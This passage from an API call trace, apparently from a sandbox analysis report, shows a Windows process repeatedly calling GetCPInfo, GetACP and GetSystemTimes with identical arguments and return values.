GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.153] GetACP () returned 0x4e4 [0094.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.153] GetACP () returned 0x4e4 [0094.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.153] GetACP () returned 0x4e4 [0094.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.153] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.153] GetACP () returned 0x4e4 [0094.153] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.154] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.154] GetACP () returned 0x4e4 [0094.154] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.155] GetACP () returned 0x4e4 [0094.155] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.155] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.156] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.156] GetACP () returned 0x4e4 [0094.156] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.157] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.157] GetACP () returned 0x4e4 [0094.157] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.158] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.158] GetACP () returned 0x4e4 [0094.158] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.159] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.159] GetACP () returned 0x4e4 [0094.159] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.160] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.160] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.160] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.161] GetACP () returned 0x4e4 [0094.161] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.161] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.162] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.162] GetACP () returned 0x4e4 [0094.162] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: 